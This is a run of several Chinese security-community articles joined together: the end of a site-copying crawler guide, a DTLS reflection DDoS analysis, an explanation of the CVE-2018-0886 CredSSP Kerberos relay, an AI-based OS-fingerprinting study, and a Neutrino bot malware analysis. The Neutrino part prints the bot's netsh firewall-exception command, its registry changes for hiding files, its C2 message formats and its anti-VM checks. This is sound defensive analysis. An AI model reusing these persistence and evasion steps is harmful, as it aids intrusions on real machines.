1. 以.html结尾的 => 直接以原文件名保存
2. 以.php等不适.html结尾的 => 在原来的文件名后添加.html后缀保存
3. 没有文件名的 => 保存为index.html
在保存单个页面的时候进行一次这样的处理，在链接地址替换的时候对a标签内的地址也进行一次这样的处理就可以保证各个页面的地址之间的正常交互了。(对链接的处理仅限于同一个子域名)
### 保存文件的总结
保存并处理一个网页，就是要保证css、js、图片文件能够正常调用与显示。并且链接能够与多个页面进行交互。
## 获取网站的所有页面
### 获取网站的所有页面的链接
通过前面的内容，已经可以获取到单个页面的所有内容，并且可以较好的处理里面的链接关系。那该怎么获取得到整个网站的所有页面呢？
非常的简单粗暴，就是遍历所有链接！(也没想到其他好的方式了)
遍历网页url流程图：
通过这个方式把网站所有的url获取到，然后批量进行单个页面的保存即可。
### 加快获取链接与保存文件的速度
为了加快获取网站所有页面的链接和保存每个页面的文件，我们需要使用多线程和协程来加快执行效率。
我使用的是自己写的一个简单的协程框架：
[协程初体验之简单的利用框架](https://threezh1.com/2019/08/22/%E7%AE%80%E5%8D%95%E7%9A%84%E5%8D%8F%E7%A8%8B%E5%88%A9%E7%94%A8%E6%A1%86%E6%9E%B6/)
这个框架的流程如下图所示：
框架写的比较简陋，修改一下是可以直接用到复制网站脚本里面的。具体内容可以进文章里面细看。
通过协程，可以显著加快获取网站所有页面与保存单个页面的速度。
## 总结
### Github项目
文章中各个部分的代码实现都在一个python脚本当中，github仓库地址如下：
SiteCopy: <https://github.com/Threezh1/SiteCopy>
* 使用命令：
复制单个页面：
`python sitecopy.py -u "https://threezh1.com"`
复制整个网站(-t设置线程)：
`python sitecopy.py -u "https://threezh1.com" -e -t 30`
声明：
对互联网任何网站的复制需在取得授权后方可进行，若使用者因此做出危害网络安全的行为后果自负，与作者无关，特此声明。
### 存在的问题
1. 目录替换时在有些情况下会进行多次替换导致页面无法正常显示
2. 网站或图床有防爬措施时无法正常保存
3. 网络问题导致脚本无法正常执行
非常希望能够和师傅们共同交流对这些问题的解决方式，我的邮箱：[email protected]
### 复制网站测试
* 复制自己的博客：<https://threezh1.com> 花费时间：2分钟48秒
运行截图：
目录截图：
页面截图： | 社区文章 |
**作者：百度安全实验室
原文链接：<https://mp.weixin.qq.com/s/Ye_AuMDLQotv3M5rv9OmOA>**
## **0x00概述**
德国软件公司Anaxco GmbH的Marco Hofmann首次发现黑客利用Citrix
ADC网关上的DTLS服务（UDP：443）作为反射源实施DDoS放大攻击，之后国内多个安全团队针对此类攻击进行过解读。
百度智云盾团队在2021年1月也捕获到此类攻击，经过深入分析，我们确认了这次攻击是黑客利用DTLS协议未启用HelloVerifyRequest安全认证机制的漏洞发起的反射放大攻击。
## **0x01 事件回顾**
2020年12月19日，德国软件公司Anaxco GmbH的Marco
Hofmann在公司的监控系统上发现异常流量告警，在公司防火墙上进行抓包分析，发现流量中有同一客户端IP的大量请求和海量响应，随后跟踪到流量来源为Citrix
ADC设备上的DTLS服务（UDP 443）。由于异常流量已经影响到了公司网络，他决定阻断针对UDP
443端口的请求，从而缓解了这次攻击对公司网络的影响。之后他将这次攻击信息发布到社交网站，不久有其他安全研究人员在EUC社区及社交网站上发帖表示也遭受到了这种攻击。
Citrix ADC是Citrix（思杰）公司的一系列网络产品的统称，ADC的中文名为应用程序交付控制器，也被人称为NetScaler
ADC，主要用于帮助提高应用程序性能，它能在保证数据安全性的同时进行流量优化和加速。Citrix
ADC网关程序支持DTLS功能，用于保证UDP协议上的安全通信。目前Citrix ADC程序在全球范围内被广泛使用。
Citrix官方在关注到这些攻击后确认了这一问题，并临时提供了两个解决方案：
1、如非必要，禁止使用DTLS服务
2、如果必须使用DTLS服务，启用ACL策略。之后官方在一月份紧急发布新版本，添加”HelloVerifyRequest”功能，用于增强DTLS的安全性，但是该功能需要维护人员手动开启。
## **0x02 技术分析**
智云盾系统监测到攻击时，自动对流量进行采样，安全专家及时介入对采样包进行深层次分析和演练。本次攻击事件共涉及反射源1567个。
* ### **攻击分析**
通过对智云盾的攻击采样包发现，反射流量的来源端口是443，下图红色箭头指向的是反射源端口与反射数据包：
图1 反射源端口与反射数据包
通过分析采样包可知，攻击流量部分符合RFC6347定义的协议规范，皆为DTLS服务器响应的证书消息。实际上RFC规定了DTLS协议首次交互需要使用HelloVerifyRequest安全认证，之后才会进行证书交互，显然上述DTLS服务器没有遵循这一规范的严格实现，导致了这些服务器在收到伪造的客户端请求后直接响应了大量的证书消息。
* ### **DTLS协议原理**
DTLS协议是用于UDP之上的安全传输协议，主要用于保护通信双方的数据隐私，防范数据被窃取和篡改，可以看做是UDP之上的TLS协议。下图是DTLS协议规范的交互过程：
图2 DTLS协议握手交互过程
客户端首次发送请求到DTLS服务器，服务器收到后响应HelloVerifyRequest包（携带包含客户端IP的cookie消息），客户端收到后需再次发送请求并携带cookie，之后服务器校验cookie完成安全认证，如果认证不通过，会再次响应HelloVerifyRequest包。
* ### **攻击验证**
我们抽取本次攻击中的未开启HelloVerifyRequest的服务器，向其发送模拟请求，并对交互信息进行抓包分析，下图为抓包数据：
图3 未开启HelloVerifyRequest的源响应
分析上图可知，未开启HelloVerifyRequest安全认证的服务器在收到我们发送Hello请求后直接响应证书消息。
在模拟请求中最大得到的数据包请求211字节、响应5381字节，科学计算放大倍数为5381/211=26.5倍，与之前Marco
Hofmann表述的35倍放大效果有差距，这一倍数计算方法应该是用的数据包载荷之比，科学的计算放大倍数可以参阅[《MEMCACHED
DRDoS攻击趋势》](https://mp.weixin.qq.com/s?__biz=MjM5MTAwNzUzNQ==&mid=2650489903&idx=1&sn=2240a391f3d744565260ef30a9b5669d&scene=21#wechat_redirect)一文。
再从本次攻击中抽取开启了HelloVerifyRequest的服务器，向其发送模拟请求，下图为抓包数据：
图4 开启HelloVerifyRequest的源响应
分析上图可知，开启HelloVerifyRequest安全认证的服务器在收到我们发送Hello请求后先响应了HelloVerifyRequest，随后客户端再次发送携带cookie的请求，完成安全认证。
## **0x03 反射源分析**
* ### **反射源分析**
智云盾系统检测到攻击时，自动对流量进行采样，通过分析采样包我们发现，共计1567个IP参与了此次反射攻击，本次攻击事件中的IP主要来自于美国、德国和英国等10个国家，下图是IP分布：
图5 反射源IP分布
本次反射攻击中有42个IP未形成放大效果，可能跟Citrix在1月份的紧急升级有关，部分用户的管理员更新并开启了HelloVerifyRequest安全认证功能。
* ### **DTLS协议的使用范围**
DTLS协议可用于Web浏览、邮件、即时消息传递和VoIP，由于UDP协议的高效性，DTLS协议非常适用于实时传输场景。
DTLS协议还被应用于各类应用程序，如：F5 VPN、CiscoAnyConnectVPN、OpenConnectVPN、ZScaler
2.0、思科InterCloud Fabric以及本次攻击中被利用的Citrix
ADC程序均使用DTLS协议来保护UDP上的安全数据传输。DTLS协议通常还会与其他协议同时使用，比如与安全实时传输协议（SRTP）一起定义用来实现WebRTC，目前Google
Chrome、Opera和Firefox均提供支持。
为了调查DTLS协议在全球范围内的使用情况，我们及时与ZoomEye团队进行了技术沟通，ZoomEye是国内最优秀的网络空间搜索引擎之一，ZoomEye团队在收到反馈后及时针对全网进行扫描，很快获取到4118个IP使用了DTLS服务（截止统计时，扫描还在继续），这些IP在全球范围内均有分布，主要来自于美国、德国、英国等10个国家，下图是IP的地图分布情况：
图6 反射源IP地图分布
图7 反射源Top5
## **0x04防范建议**
反射攻击与传统的flood攻击相比，能更好的隐藏攻击者，并且产生较大流量，因为反射攻击越来越受到黑客青睐。
建议参考以下方式提升防护：
* **默认开启DTLS协议的HelloVerifyRequest验证**
* **升级DTLS协议到最新版本**
* **选择接入DDoS云安全服务对抗大规模的DDoS攻击**
## **0x05参考链接**
[1] <https://www.zoomeye.org/ >
[2] <https://tools.ietf.org/html/rfc6347 >
[3] <https://msandbu.org/citrix-netscaler-ddos-and-deep-dive-dtls-protocol/ >
* * * | 社区文章 |
# CVE-2018-0886："MS-RDP 逻辑 RCE 漏洞" 初步解读
##### 译文声明
本文是翻译文章，文章原作者 n1nty，文章来源：360 A-TEAM
原文地址：<http://mp.weixin.qq.com/s/7tKZeY23otlNLk7tJv-lfQ>
译文仅供参考，具体内容表达以及含义原文为准。
**作者：n1nty@360 A-Team**
> 此次 CVE 所涉及到的背景知识与我之前看过的一些协议资料重合度很高，所以在这里尝试对此 CVE
> 进行一下初步的解读，有错误的话还请各位指出。看的时候最好配合原文一起看，原文中有一些图片会助于理解。
<https://blog.preempt.com/how-we-exploited-the-authentication-in-ms-rdp>
## 纠错
首先，标题的描述并不是太准确。不准确在于：
1. 漏洞存在于 CredSSP 中，并不是直接存在于 MS-RDP。MS-RDP 只不过利用到了 CredSSP 进行了身份验证（只有在开启 NLA 的时候）。所以理论上只要是用到了 CredSSP 的协议都会有这个问题。
2. 这并不是一个直接的 RCE 漏洞。
## 本次 CVE 的本质
从目前的作者原文披露的信息来看，这是一次突破了 SSPI 签名与加密的 Kerberos Relay。利用中间人技术，将 MS-RDP 中用到的
CredSSP 验证数据包 Relay 至了远程的 RPC 接口用于达到类似横向移动的效果（基本所有的横向移动全是依赖的
RPC），并且突破了数据包签名与加密。作者目前只实现了 Kerberos Relay，并没有实现 NTLM Relay，且目前只实现了 Relay 至
RPC 服务。
## 需要知道的背景知识简述
1. CredSSP
2. Kerberos
3. Credential Relay 攻击的原理
## CredSSP
这是 Windows 内置的一种身份验证实现，它实现了 SSPI。它并不是一个全新的身份验证协议，它只是 Negotiate SSP
的一个包装器。CredSSP 的出现主要是为了解决 A-TEAM 之前在另一篇公众号文章 [老牌工具 PsExec
一个琐碎的细节](http://mp.weixin.qq.com/s?__biz=MzI5Nzc0OTkxOQ==&mid=2247483752&idx=1&sn=a074ace2f0417cb4a0d204ff7a7e470b&chksm=ecb11d98dbc6948e66d2bbe3f9b48d2f9600726ca243e599c42f64b60cd6d32af23f52026257&scene=21#wechat_redirect)
中提到的 “authentication double hop” 的问题。不明白 authentication double hop
是什么的朋友可以看一下我那篇文章 。
CredSSP 只是 Negotiate SSP 的一个包装器，工作流程大概如下：
1. 建立 TLS 会话
2. 利用 Negotiate SSP 与远端进行身份验证。Negotiate SSP 则将选择性地利用 Kerberos SSP 或 NTLM SSP 与远端进行身份验证。Negotiate SSP 生成的 auth token 将会被 CredSSP client 封装在 TSRequest 消息中发送至 CredSSP server，同样 CredSSP server 端所依赖的 Negotiate SSP 所生成的回复 auth token 也将会封装在 TSRequest 被返回至客户端。这个过程也许会往返多次
3. 身份验证通过后，通过 TSCredential 将客户端的原始凭据发送至远端服务器。以解决远端服务器 double hop 的问题。
问题出现在上面提到的第 2 步，所以这里再细化一下第 2 步。下面是一张更详细的 CredSSP 流程图：
第 1 步至第 4 步是建立 TLS 会话链接的过程。第 5 第 6 步是 CredSSP 使用下层的 Negotiate SSP
进行身份验证的过程。这两步有可能会反复多次被执行。
在第 5 步和第 6 步执行完后，下层的 Negotiate SSP 已经完成了身份验证，且已经得了用于进行 SSPI 签名与加密的 session
key。
第 7 步，CredSSP client 利用 session key 对服务端的证书（CredSSP 是基于 TLS 会话的） public key
structure 进行了 SSPI 加密，将结果发送至 CredSSP server 进行验证。
第 8 步，CredSSP server 利用 session key 对自身证书的 public key structure 进行 SSPI
加密，将结果发送至 CredSSP client 进行验证。
这两步的本意是为了防止 Credential Relay 一类的攻击（我的理解是这种方式依然只能防止攻击者伪装成一个恶意的 CredSSP Server
来将 CredSSP client 的验证信息 relay 至另一个 CredSSP server。而无法防止将 CredSSP client 的验证信息
relay 至使用其他 SSP 且没有启用 SSPI 加密签名功能的其他协议 比如 SMB。），像 A-TEAM 之前在另一篇公众号文章 [360
A-TEAM 带你走进 NTLM-Relay](http://mp.weixin.qq.com/s?__biz=MzI5Nzc0OTkxOQ==&mid=2247483756&idx=1&sn=bda30341cd0eecd692a72258608ceb4a&chksm=ecb11d9cdbc6948af8dcede1617a96e2e85134d00eebfa70e806accdc672d6c20a6c0fb3818a&scene=21#wechat_redirect)
中提到的那样，在验证阶段就引入了 session key。
问题出现在第 7 步。
## 第 7 步
第 7 步的时候，CredSSP client 将 CredSSP server 端的 public key structure 进行了 SSPI
加密与签名，并发回了 CredSSP server。
原作者很机智地想到，如果 CredSSP server 的 public key 是我们自己可控的呢？有没有可能有这么一段数据，它既是一个有效的 RSA
public key，又是其他可利用协议的一段有效数据？原作者最终解决了这个问题，而且他找到了一个可利用的协议：RPC，并利用 RPC
的远程计划任务接口实现了 RCE。
因为 POC 还没有公布，所以以下步骤只是我的猜测：
1. 攻击者站在中间人的位置，伪装成一个 CredSSP server
2. 受害人利用 RDP 连接远端机器利用 CredSSP 进行验证，实际上连接到的是攻击者伪装的 CredSSP server
3. 因为 CredSSP 基于 TLS，所以攻击者给客户端返回一个自己的证书（要注意的是，CredSSP client 本身是不会对 CredSSP server 的证书进行 CA 检查的），用于解密 CredSSP client 发往自身的加密验证流量。
4. 根据上面那张图，CredSSP 的第 5 与第 6 步是双方进行认证数据包的交换（auth token）。一旦攻击者发现 CredSSP client 开始利用 TSRequest 与自己来进行身份认证，攻击者则开始将这些认证数据包 Relay 至目标的 RPC 服务。当 CredSSP Client 认证完成后，攻击者与远程的 RPC 服务也已经完成了认证。
5. 感觉一直到上一步，看起来都只是一个正常的 Credential relay 的过程，并没有什么新的东西。原作者的机智才刚刚展现。
6. 攻击者与远程 RPC 服务进行了身份验证后，是无法进行 RPC 调用的。因为 RPC 对后面的数据包有签名与加密的检查。攻击者无法得知用于签名与加密的 session key。
7. 回到上面那张图的第 7 步，CredSSP client 会利用 session key 将服务端发来的 public key structure 进行加密然后发送至 CredSSP Server。 **这个时候，如果我们之前给客户端返回的 TLS 证书中的 public key 正好就是用于进行 RPC 调用的那个数据包呢？核心就在这里。client 会帮我们对这个数据包进行加密与签名，所以攻击者在无需知道 session key 的情况下，绕过了加密与签名进行了远程 RPC 调用** 。因为 CredSSP client 只会对 public key structure 进行一次加密与签名，所以要求被我们利用的那个协议只需要发送一个加密的数据包就可以完成敏感操作，而 RPC 符合这个要求。
为了更清晰地理解上面的步骤，这里借用原文的一张图：
原作者解决了一些其他的问题：
1. 为了解决 public key 是一个有效的 RSA public key 的同时，又是一段有效的 RPC 数据，进行了那段我看不懂的数学。:(
2. CredSSP client 并不是单纯对 public key 进行加密，而是对 public key structure 进行加密。public key structure 是对 public key 进行 DER 编码后的结构。因为 DER 是 TLV 格式的编码，编码后会在原始数据前加上表示 type 与 length 的字节，所以客户端最终加密的那段 public key structure 的前几个字节是不可控的代表 type 与 length 的字节，后面才是我们的 public key。作者通过调用那些第一个参数是字符串或指针的 RPC 方法来解决了这些不可控的字节带来的问题。
**3.为什么 NTLM 无法使用，只能使用 Kerberos**
原文中作者提到，如果想 Relay 至 RPC 协议，则用于认证的协议只能是 Kerberos，不能是 NTLM。（当然这是跟 RPC
协议自身有关的，如果你能找到其他可利用的协议的话，也许就没有这个问题。）原文中给出了一张图，用于解释这个问题：
RPC 如果使用 NTLM 进行了身份验证，则要求后续的方法调用数据包的 RPC Application Data 部分是加密的，再将 DCE Header
与 加密后的 RPC Application Data 进行签名。CredSSP 第 7 步是直接对整个数据包进行加密与签名，所以不符合这个要求。所以在
RPC 的场景下，不能进行 NTLM Relay，只能进行 Kerberos Relay。
## Kerberos 与 SPN
原文中作者目前只实现劫持 RDP 中的 CredSSP 并 Kerberos Relay 至 RPC。这一点说明了，只能 Relay
至与原始服务（RDP）是同一个启动账号的其他服务。因为：
1. 受害者通过 RDP 连接尝试连接 Server1， CredSSP 将使用 Kerberos 与 Server1 进行认证，
2. 攻击者劫持了这个连接，尝试将 Kerberos 认证 Relay 至 Server2
3. 因为受害者传递过来的 ticket 是由 Server1 的机器账号密码加密（因为 RDP 是由 Server1 的 SYSTEM 启动）的，所以攻击者只能将这个 ticket relay 至由 Server1 的 SYSTEM 权限启动的其他服务。如果是 relay 至非 Server1 SYSTEM 启动的服务，则这个 ticket 将无法被目标服务解密，认证将会失败 。
那么另一个问题就是，受害者原本是想访问 Server1 的 RDP 服务，所以受害者从 KDC 处申请到的 service ticket 中的 sname
应该是 RDP/SERVER1 之类的。为什么这张票可以被用于访问 RPC 服务呢（很明显 RPC 服务的 SPN 不可能与 RDP 服务的 SPN
相同）。关于这个问题，可以参考一下下面这篇由 impakcet 作者写的文章：
https://www.coresecurity.com/blog/kerberos-delegation-spns-and-more
一句话就是：ticket 中的 SPN 是什么并不重要，你可以将 RDP/SERVER1 改成 XXX/SERVER1，只要目标服务器上的 RDP 与
XXX 服务的启动账号是同一个。
**文章转载自360 A-TEAM**
**_（360 A-TEAM 长期招收高级安全研究人员，APT 攻防人员，请联系 [email protected]）_** | 社区文章 |
**作者：三牛@墨云科技VLab Team
原文链接：<https://mp.weixin.qq.com/s/A6lFJMapxfPZJF6TCKLcKQ>**
无论从网络安全的攻击或是防护视角，信息的采集和甄别都至关重要，其中主机的系统类型是关键出发点。在以往经验中，根据操作系统类型往往能够大致判断其存在的风险点及风险类型，因此，识别主机操作系统类型对系统网络安全防护具有极其重要的意义。
## **操作系统识别方法**
**识别方法概述**
目前最广泛的操作系统识别方法是基于规则匹配，例如操作系统识别工具Nmap、P0f、Xprobe2等。Nmap对操作系统的识别主要依靠其维护的操作系统指纹库nmap-os-db，Xprobe2等其他工具同样基于自身构建的指纹库进行操作系统类型的识别。
基于规则的匹配方法主要是通过获取网络中传输和接收的数据包信息来与已创建的规则进行特征匹配，具有识别速度快的优势。但是，由于网络安全设备(防火墙、IDS等)和防护策略等原因，部分场景下收集到的数据包中没有足够的操作系统指纹信息，操作系统类型识别准确率较低，甚至无法识别。指纹数据库冗余度高，对于某一测试的操作系统指纹可能出现两个或者多个匹配项，从而无法确定该指纹属于哪一类操作系统；对于未出现在指纹数据库中的操作系统类型则无法进行匹配识别。
**基于深度学习的识别方法**
为了克服现有“基于规则匹配方法”的弊端，提升主机操作系统识别的准确率，我们尝试了一种基于深度学习的主机操作系统识别方法。通过主动向操作系统发送探测包，分析从目标主机返回的数据包信息，并提取其响应特征，建模学习得到识别模型，进一步利用模型识别操作系统类型。
**特征提取**
通过主动向目标主机发送多个“精心构造”的数据包，包括TCP/IP数据包，ICMP数据包，UDP数据包等，执行五种不同的测试，目标主机对每个数据包做出响应。五种测试包括：序列生成，ICMP回显，TCP显式拥塞通知，TCP测试和UDP测试。每种测试会得到不同数量的响应行数据，共计13个响应行。其中，序列生成测试通过发送TCP数据包生成4个响应行；ICMP回显测试通过发送ICMP请求报文到目标主机，生成1个响应行，TCP显式拥塞通知测试发送一个TCP
SYN数据包，生成一个响应行；TCP测试会发送6个具有特定设置的TCP数据包生成6个响应行；UDP测试发送特殊构造的UDP数据包到已知关闭的端口，根据返回的响应信息，生成一个响应行。分析每个响应行的信息并提取其特征，生成该主机操作系统的形如[13,36]的二维指纹特征向量。
**建模**
基于深度学习的操作系统本质为将二维特征向量经过非线性变换映射到操作系统类型空间中。其网络结构如下：
图 1 操作系统识别模型结构
我们采用Bi-LSTM+Attention的网络结构建模，利用Bi-LSTM层捕捉每个响应行中各个特征之间的双向关联关系：
其中,表示元素相加。
Attention层对响应行中的特征进行权重的分配，赋予对结果识别结果有较大影响的特征更大的权重：
其中，为用于操作系统识别的特征向量表示。
图 2 Bi-LSTM+Attention模型结构
**实验结果**
从网络上随机收集操作系统数据作为测试数据，基于该测试数据，我们的模型评估指标Acc为0.95。
同时，我们增加了对比实验，在相同的测试数据上，对比卷积神经网络（CNN）、循环神经网络（RNN）、循环卷积神经网络（RCNN）、卷积神经网络-注意力机制（AttentionConvNet）的检测结果，对比结果如下：
操作系统识别实验结果
## **总结**
网络空间发展日新月异，复杂繁多的网络安全问题也层出不穷。日益增长的网络安全需求促使着相关研究人员将机器学习、深度学习算法应用于更多更广的网络安全领域。近年来，基于AI的网络安全研究成果不断出现在各类文献和报道中，很多研究成果成功落地并取得了良好效果。
目前，利用人工智能（AI）技术解决网络安全问题已成为必然的发展趋势，基于AI的网络安全技术是一项创新且富有挑战性的工作，我们也将与更多先行者同行，不断创造突破性技术，专注人工智能在网络攻防安全领域的应用研究，让网络攻防更智能。
* * * | 社区文章 |
# 【技术分享】带有加载保护机制的新型Neutrino僵尸程序
|
##### 译文声明
本文是翻译文章，文章来源：blog.malwarebytes.com
原文地址：<https://blog.malwarebytes.com/threat-analysis/2017/02/new-neutrino-bot-comes-in-a-protective-loader/>
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB（不服你也来投稿啊！）
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
本文将分析多功能Neutrino僵尸程序（也叫Kasidet）的一个最新版本，该程序通过以它命名的利用工具包（Neutrino Exploit
Kit）进行分发。今年一月份时，我们已经大概描述了利用垃圾邮件传播的[Neutrino僵尸程序](https://blog.malwarebytes.com/cybercrime/2017/01/post-holiday-spam-campaign-delivers-neutrino-bot/)，因此我们不会过多讨论这些细节，而会将重点放在它的程序加载部分。
程序使用多层虚拟机检测技术对其关键核心进行了隐藏，导致我们对其最终载荷的提取工作遇到了些许挑战。
**
**
**一、分发机制**
程序样本从美国的恶意广告活动中捕获，这些活动使用了Neutrino Exploit
Kit进行恶意程序分发。恶意程序在受害主机上首先会进行指纹检测，探测虚拟化环境，捕获网络流量以及检查反病毒软件。如果程序发现所处环境异常（即不是典型的受害主机），则放弃感染过程。程序使用落地前页面中的大量混淆的JavaScript代码完成这一检查过程，而不是使用以往的[Flash检测方法](https://blog.malwarebytes.com/cybercrime/exploits/2016/06/neutrino-ek-fingerprinting-in-a-flash/)。
程序初始检查通过后，下一步骤是启动一个特制的Flash文件，其中包含一系列的Internet Explorer和Flash
Player漏洞利用工具（参考[这里](http://malware.dontneedcoffee.com/2017/01/CVE-2016-7200-7201.html)的相关介绍）。最后一步是使用wscript.exe下载和执行经过RC4编码的载荷，以绕过代理网络限制。
总体感染流程如下所示：
Maciej
Kotowicz写了一个[脚本](https://github.com/mak/ekdeco/tree/master/neutrino)，可以提取Flash文件中的功能组件。
**
**
**二、分析的样本及哈希值**
Neutrino Exploit
Kit释放的原始样本：[b2be7836cd3edf838ca9c409ab92b36d](https://www.virustotal.com/en/file/3ab39c77bde831dc734139685cada88ef7f17a6881f4ea7525a522c323562b3c/analysis/)
加载器：[349f5eb7c421ed49f9a260d17d4205d3](https://www.virustotal.com/en/file/2919dad5f685e7c14343c2eb4ba8a28d6d145c776f58168edb42efd61334c3de/analysis/)
载荷（即Neutrino僵尸程序）：[6239963eeda5df72995ad83dd4dedb18](https://www.virustotal.com/en/file/45abc50e837a3e0c4df842fe8c3aa54e103d690d67f89d78059878bd3acc67ab/analysis/)
**
**
**三、行为分析**
样本采取了保护机制以防止在受控环境中投放。当样本探测到其运行在虚拟机或沙箱中时会进行自删除操作。
环境检测通过后，程序将副本拷贝到%APPDATA%/Y1ViUVZZXQxx/<random_name>.exe（本文中为abgrcnq.exe，uu.exe）：
同时对释放的文件夹及文件进行隐藏。
样本通过计划任务完成本地持久化。
样本修改添加了几个注册表键值，如安装日期等基本设置信息：
对几个键值进行修改，以在系统里保持隐藏性。注册表中的Hidden及[SuperHidden](http://www.msfn.org/board/topic/9950-whats-superhidden-for-exactly/)功能可以使程序副本对用户保持隐藏。样本通过修改以下注册表项达到文件的隐藏性：
SoftwareMicrosoftWindowsCurrentVersionExplorerAdvancedHidden
SoftwareMicrosoftWindowsCurrentVersionExplorerAdvancedShowSuperHidden
样本利用命令将自身添加到防火墙白名单中：
cmd.exe " /a /c netsh advfirewall firewall add rule name="Y1ViUVZZXQxx" dir=in action=allow program=[full_executable_path]
与此类似，样本也将自身路径添加到Windows Defender的例外文件列表中：
样本对终端服务设置表项进行修改，将MaxDisconnectionTime及MaxIdleTime值设为0，受影响表项为：
HKLMSOFTWAREPoliciesMicrosoftWindows NTTerminal ServicesMaxDisconnectionTimeHKLMSOFTWAREPoliciesMicrosoftWindows NTTerminal ServicesMaxIdleTime
如果安装过程一切顺利，样本将加载其核心部件，我们也可以观察到典型的Neutrino僵尸网络流量特征，比如下图中，经过base64编码的“enter”请求报文及“success”响应报文特征。响应包以注释形式嵌入到空白html页面中，避免引起用户警觉。
程序发送自身信息作为下一个请求，而C2C服务器则会返回程序下一步要执行的命令。请求及响应报文也经过base64进行编码。解码后的一个示例为：
请求报文：
cmd&9bc67713-9390-4bcd-9811-36457b704c9c&TESTMACHINE&Windows%207%20(32-bit)&0&N%2FA&5.2&22.02.2017&NONE
响应报文：
1463020066516169#screenshot#1469100096882000#botkiller#1481642022438251#rate 15#
响应报文中，第一个命令是截屏命令，之后我们的确看到程序发送了一张JPG格式的屏幕截图：
从发送报文中我们可知程序版本为5.2版（与这篇文章分析的类似：https://blog.malwarebytes.com/cybercrime/2017/01/post-holiday-spam-campaign-delivers-neutrino-bot/）
**
**
**四、深入分析**
程序使用的第一层是加密器层，用于覆盖内存中加载器映像的初始PE结构，可参考这里的相关[解密视频](https://www.youtube.com/watch?v=m_xh33M_CRo)。
第二层是个加载器层，防止核心程序在受控环境中（如虚拟机或调试器环境）运行。这可能是它新使用的一个功能（我们从未在之前的Neturino僵尸网中观察到）。我们发现这一层非常有效，测试期间大多数沙箱和虚拟机环境无法提供该样本的任何有用信息。
最后一层是Neutrino僵尸家族的典型功能载荷层。
从加载器代码中可知，它并非依附于独立加密器的一层，而是完整Neutrino僵尸包中的一个集成部分。载荷层和加载器层都采用C++进行开发，使用类似的函数，包含重叠的字符串，本文后半部分将就此进行详细分析。这两层的编译时间戳非常接近，分别为2017-02-16
17:15:43和2017-02-16 17:15:52。
可以在[这里](https://www.hybrid-analysis.com/sample/6f22f22ea510f35d3b6f9edd610e6ba3e6499ff6867f52a3361709c48d886c41?environmentId=100)找到禁用环境检查功能的加载器修复版。
**
**
**五、加载器分析**
**5.1 混淆技术
**
代码包含了基层混淆技术，几个可见的字符串如下所示：
字符串中包含目录名、一些函数名、准备禁用的与Windows安全功能相关的注册表键值、计划任务中要添加的字符串。
大多数字符串在运行时进行解密，以下是一个加密字符串的加载过程：
程序首先使用专用函数将混淆字符串写入动态加载的内存中，然后使用简单的异或方法进行解密：
def decode(data):
maxlen = len(data)
decoded = bytearray()
for i in range(0, maxlen):
dec = data[i] ^ 1
decoded.append(dec)
return decoded
解密后的字符串为：
大多数API调用同样也经过了动态解析处理，如：
跟踪API调用可以理解程序的功能，因此样本的作者不使用某些API，而是自己实现了这些函数功能。比如，作者通过读取[底层线程环境块](http://www.geoffchappell.com/studies/windows/win32/ntdll/structs/teb/index.htm)（Thread
Envioroment Block，TEB）结构实现了GetLastError()的功能：
**5.2 功能分析**
加载器创建了一个互斥量（mutex）以避免重复执行，mutex名为1ViUVZZXQxx，硬编码在样本文件中。
加载器的主要任务是环境检查，以确保软件运行不受监视。与大多数恶意软件不同，环境检查工作不是只执行一次，而是有一个专门线程负责这项工作：
它在死循环中不断重复这一工作：
如果程序在任一时刻检测到某些位于黑名单中的进程，则会终止自身执行。
**典型的检查过程如下：
**
1\.
枚举当前运行的进程列表（使用动态加载CreateToolhelp32Snapshot、Process32First、Process32Next函数完成）。计算每个进程名的校验和，与内置的进程黑名单进行比较。
校验和黑名单如下：
0x6169078A
0x47000343
0xC608982D
0x46EE4F10
0xF6EC4B30
0xB1CBC652 ; vboxservice.exe
0x6D3E6FDD ; vboxtray.exe
0x583EB7E8
0xC03EAA65
黑名单进程的枚举实现代码如下图所示。从中可知每个函数都在对应校验和下动态加载执行：
2\.
在当前进程中搜索黑名单中的模块（使用动态加载CreateToolhelp32Snapshot、Module32First、Module32Next函数完成）。类似地，程序计算每个进程名的校验和并与内置黑名单进行比较。
校验和计算算法为（详细的实现[在此](https://gist.github.com/hasherezade/aefabdb9a67193ef05c93228a78c20c6#file-checksum-cpp)）：
校验和黑名单为：
0x1C669D6A
0xC2F56A18
0xC106E17B
0x5608BCC4
0x6512F9D0
0xC604D52A
0x4D0651A5
0xAC12B9FB ; sbiedll.dll
0x5B747561
0x53309C85
0xE53ED522
3\. 使用IsDebuggerPresent、CheckRemoteDebuggerPresent判断程序是否正被调试。
4\. 使用GetTickCount、Sleep、GetTickCount进行单步执行时间检测。
5\. 使用QueryDosDevices（如VBoxGuest）检测黑名单设备，判断是否处于虚拟环境中。
6\. 使用EnumWindows、GetClassName（如procexpl）检查并隐藏黑名单程序窗口。
校验和黑名单为：
0xFE9EA0D5
0x6689BB92
0x3C5FF312 ; procexpl
0x9B5A88D9 ; procmon_window_class
0x4B4576B5
0xAED304FC
0x225FD98F
0x6D3FA1CA
0xCF388E01
0xD486D951
0x39177889
另一个线程中，样本执行与bot安装的相关操作，如在计划任务中添加任务、往防火墙中添加例外等。
最后，样本释放并使用PE运行方法启动最终载荷。首先，它创建自身的另一个实例：
其次，在同一位置映射一个新的PE文件：
**5.3 载荷分析**
有效载荷就是一个Neutrino僵尸程序，其功能与我们[先前文章](https://blog.malwarebytes.com/cybercrime/2017/01/post-holiday-spam-campaign-delivers-neutrino-bot/)中分析的非常类似，我们可以在加载器中找到某些类似的元素，比如下图中的字符串：
**
**
**六、结论**
Neutrino僵尸程序已经风行好几年，它功能丰富，但内部结构则让人印象平平。本文分析的Neutrino僵尸程序同样如此，恶意软件作者没有对程序的结构做任何显著的改进，但他们为程序添加了一个保护层，可以对运行环境做极其严格的指纹检测，避免程序被轻易探测到。 | 社区文章 |
**作者：Yimi Hu & Light @ PwnMonkeyLab
原文链接：<https://mp.weixin.qq.com/s/VL0FNkndDKdYcoVF6-libg>**
## **简介**
